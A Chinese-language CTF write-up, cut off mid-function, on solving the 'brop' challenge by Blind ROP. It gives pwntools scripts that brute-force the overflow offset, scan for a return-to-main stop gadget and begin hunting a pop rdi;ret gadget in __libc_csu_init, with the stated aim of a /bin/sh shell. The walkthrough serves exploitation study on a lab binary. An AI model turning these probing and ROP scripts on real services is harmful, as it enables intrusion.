BROP(黑盒pwn)
这题很有意思,通过黑盒的方法来进行溢出攻击,同时这里也用到了__libc_csu_init函数利用的新姿势
题目是:brop
参考链接:https://wiki.x10sec.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/#_8
做这道题,不要ida,否则没有意义了
思路
对于黑盒,这道题的目的也很明确,就一个输入就结束了,明显的需要溢出
那么第一步就是通过不断测试字符长度来判断溢出点
这个实现还是很简单的
def overflow(file):
i = 1
while 1:
try:
p = process(file)
p.recvline()
p.sendline(b'a' * i)
print(1)
s = p.recvline()
p.close()
print(b's:' + s)
if b'No' not in s:
return i - 1
else:
i += 1
except EOFError:
print(2)
p.close()
return i - 1
得到的值:72
之后的操作就需要寻找代码中的gadgets了 ,但由于这题本身的是没有源文件的,那么获取gadgets就是问题了,这玩意不好描述,还是看实际例子
比如,首先我们需要得到一个地址,这个地址去覆盖掉栈溢出后的那个返回地址,然后能够返回到main函数重新执行
这个地址不一定是main函数的地址,也可能是在main函数前执行初始化操作的代码部分,总之能够返回到main就行
具体实现过程就是,从0x400000(64位程序代码段基地址)开始,不断去遍历它,直到能够返回到main为止
addr = 0x400000 ~ 0x410000 #我们需要的这个地址大致在这个区间
payload = 'a' * 72 + p64(addr)
# 不断尝试这个payload
那么具体实现就是
def retmain_gadgets(length, file):
addr = 0x4005c4
f = open('./stop_gadgets', 'w')
while addr < 0x401000:
try:
payload = b'a' * length
payload += p64(addr)
p = process(file)
print("addr: " + hex(addr))
p.recvuntil(b'password?\n')
p.sendline(payload)
p.recvuntil(b'password?\n')
p.close()
print("SUCCESS: " + hex(addr))
return addr
except Exception:
addr += 1
print("ERROR!")
p.close()
有了这一步,对黑盒寻找gadgets就有了点感觉了,按照传统方式,我们这里不可能知道这个程序有哪些函数,因此无法直接执行system("/bin/sh")
还是需要获取libc基地址来进行
那么下一步就是通过write或者puts来打印出他们的地址
因此就需要知道几样东西
- 有没有pop rdi;ret,否则没办法传参
- put函数地址是多少,否则没法打印
- puts函数的got表地址,否则没法打印puts函数地址
寻找pop rdi;ret
__libc_csu_init这个函数,应该还有印象,我在ret2csu这篇文章利用这个函数来实现整个过程
但这个函数还有另外的用法,就是这里面存在pop rdi; ret
表面上是不存在这个的,那是因为汇编的起始地址问题,看下面这个
将偏移+9,得到不同的汇编片段,并且是我们需要的
因此程序可能隐含存在pop rdi;ret的片段
可以构造payload = ‘a’ * 72 + p64(addr) + p64(0) + p64(retmain)
如果程序正常返回到main函数,那么我们就成功的得到pop ret结构的片段
那么问题来了,这样无法确定这个pop的对象是不是rdi
我有两个思路
- 先寻找__libc_csu_init函数中的六个pop的地址,然后加上9个偏移就是了,当然也可以用之前ret2csu的思路来做
- 或者,更暴力一点,像这样payload = ‘a’ * 72 + p64(addr) + p64(0x400000) + p64(put),这需要对 addr和put两个地址都进行遍历,直到能执行puts函数并输出带有ELF的字符,但这个效率太低太低
所以用第一种官方的方法吧
这个方法有个小问题,有特殊情况需要考虑
只pop一次
在plt 处不会崩
在_start 处不会崩,相当于程序重新执行。
因此需要将这个考虑在内
那么具体实现如下
def brop_gadgets(length, ret2main):
addr = 0x400